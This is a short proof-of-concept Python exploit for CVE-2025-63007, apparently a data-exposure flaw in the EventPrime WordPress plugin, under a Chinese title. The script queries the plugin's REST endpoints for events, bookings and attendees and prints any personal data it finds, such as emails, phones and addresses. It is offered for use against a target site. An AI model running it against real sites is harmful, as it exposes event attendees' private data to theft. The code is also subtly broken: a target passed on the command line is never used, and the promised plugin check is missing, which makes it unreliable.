CVE-2025-63007 EventPrime插件敏感信息泄露漏洞

# CVE-2025-63007 EventPrime Sensitive Information Disclosure PoC # Affected: EventPrime Plugin <= 4.2.4.1 # Type: Sensitive Data Exposure via API import requests import sys TARGET_URL = "https://example-wordpress-site.com" # Replace with target URL API_ENDPOINT = f"{TARGET_URL}/wp-json/eventprime/v1" def check_vulnerability(): """Check if target is vulnerable to CVE-2025-63007""" # Step 1: Identify if EventPrime plugin is installed plugins_url = f"{TARGET_URL}/wp-json/wp/v2/plugins" headers = { "Content-Type": "application/json" } print("[*] Checking if EventPrime plugin is installed...") # Step 2: Attempt to retrieve sensitive event data via API # The vulnerability allows low-privileged users to access sensitive data sensitive_endpoints = [ "/events", "/bookings", "/attendees", "/event-data" ] for endpoint in sensitive_endpoints: url = f"{API_ENDPOINT}{endpoint}" try: response = requests.get(url, headers=headers, timeout=10) # Check if response contains sensitive information if response.status_code == 200: data = response.json() # Look for indicators of sensitive data exposure if any(key in str(data).lower() for key in ['email', 'phone', 'address', 'user_id', 'private']): print(f"[!] VULNERABLE: {url}") print(f"[+] Sensitive data found: {data}") return True except Exception as e: print(f"[-] Error accessing {url}: {e}") print("[*] No obvious vulnerability detected (may require authenticated testing)") return False def main(): if len(sys.argv) > 1: global TARGET_URL TARGET_URL = sys.argv[1] print("[*] CVE-2025-63007 PoC - EventPrime Sensitive Data Exposure") print(f"[*] Target: {TARGET_URL}") check_vulnerability() if __name__ == "__main__": main()